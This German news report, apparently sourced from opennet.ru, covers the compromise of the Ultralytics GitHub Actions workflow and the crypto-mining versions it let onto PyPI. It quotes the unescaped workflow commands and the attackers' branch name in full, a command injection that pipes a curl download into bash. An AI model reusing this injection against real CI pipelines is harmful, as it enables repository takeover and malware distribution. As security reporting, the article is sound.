Ein Fehler im GitHub Actions-Handler führte zur Veröffentlichung von bösartigen Ultralytics-Versionen.

Angreifer konnten Code mit den Rechten des GitHub Actions-Handlers im Repository der Python-Bibliothek Ultralytics ausführen, die für Computer Vision-Aufgaben wie Objekterkennung in Bildern und Bildsegmentierung verwendet wird. Nachdem sie Zugriff auf das Repository erhalten hatten, veröffentlichten die Angreifer mehrere neue Ultralytics-Versionen im PyPI-Katalog, die schadhafte Änderungen für das Mining von Kryptowährungen enthielten. Im letzten Monat wurde die Ultralytics-Bibliothek über 6,4 Millionen Mal aus dem PyPI-Katalog heruntergeladen.

Für die Kompromittierung des Repositories wurde eine Schwachstelle im Paket ultralytics-actions ausgenutzt, das für den automatischen Start von Handlern bei bestimmten Aktionen im Repository auf GitHub mithilfe von GitHub Actions verwendet wird. Im Projekt ultralytics war der anfällige Handler an das Ereignis pull_request_target gebunden und wurde bei neuen Pull-Requests aufgerufen. Insbesondere wurde der Handler format.yml für die Formatierung des Codes in den eingereichten Pull-Requests aufgerufen, und der im Abschnitt „run“ der Datei action.yml angegebene Code wurde ausgeführt, der Shell-Befehle mit Platzhaltern enthielt: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

Somit wurde der Name des Git-Branches ohne ordnungsgemäße Escapierung in die Shell-Befehle eingesetzt, der im Pull-Request erwähnt wird. Bemerkenswert ist, dass im August im Paket ultralytics-actions bereits eine ähnliche Schwachstelle behoben wurde, die mit der Verwendung eines externen Wertes in der Funktion echo verbunden war: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

Um die Ausführung ihres Codes im Kontext des GitHub Actions-Handlers zu organisieren, haben Angreifer einen Pull-Request an das Repository ultralytics gesendet und als Branch-Namen angegeben: openimbot:$(curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh${IFS}|${IFS}bash)

Daher wurde beim Eintreffen des Pull-Requests die von den Angreifern angegebene Zeichenfolge „$(…)“ in den Code eingesetzt, was bei der späteren Ausführung des Handlers zur Ausführung des Codes „curl -sSfL raw.githubusercontent.com/.../file.sh | bash“ führte.

Ein Fehler im GitHub Actions-Handler führte zur Veröffentlichung von bösartigen Ultralytics-Versionen.

Die Ausführung von Code im Kontext von GitHub Actions kann verwendet werden, um ein Zugriffstoken für das Repository und andere vertrauliche Daten zu erlangen. Wie genau es den Angreifern gelungen ist, ein Release zu erstellen und die Möglichkeit zu erlangen, ihren Code in GitHub Actions auszuführen, ist noch unklar. Es wird vermutet, dass dies durch die Änderung des Handlers publish.yml (die Angreifer haben die Überprüfung des Kontos entfernt, von dem aus Releases in PyPI veröffentlicht werden dürfen) und die Verwendung der Technik der Cache-Vergiftung in GitHub Actions zur Einspeisung ihrer Daten in das Release ermöglicht wurde.

Die erste schadhafte Version von Ultralytics 8.3.41 wurde am 4. Dezember um 23:51 (MSK) von Angreifern im PyPI-Verzeichnis veröffentlicht und am nächsten Tag um 12:15 Uhr entfernt. Um 15:47 Uhr wurde eine weitere Version 8.3.42 veröffentlicht, die um 16:47 Uhr entfernt wurde. Somit waren die schädlichen Versionen insgesamt etwa 13 Stunden lang zum Download verfügbar (an einem Tag verzeichnet PyPI etwa 250.000 Downloads der Ultralytics-Bibliothek). In den Versionen 8.3.41 und 8.3.42 war Code vorhanden, der einen externen Download durchführte. Server XMRig-Komponente zum Mining von Kryptowährung.

Die Entwickler des Projekts haben das Problem behoben und Korrekturversionen 8.3.43 und 8.3.44 erstellt, aber zwei Tage später gab es einen weiteren Angriff, bei dem heute um 04:41 und 05:27 Uhr (MSK) zwei zusätzliche schadhafte Versionen – 8.3.45 und 8.3.46, veröffentlicht wurden, die anderen Code für das Mining enthalten. Bis zur Klärung der Situation wird den Nutzern empfohlen, mit der Installation neuer Versionen zu warten und die Version 8.3.44 in den Abhängigkeiten zu fixieren.

Quelle: opennet.ru

Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen 🔥 Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen | ProHoster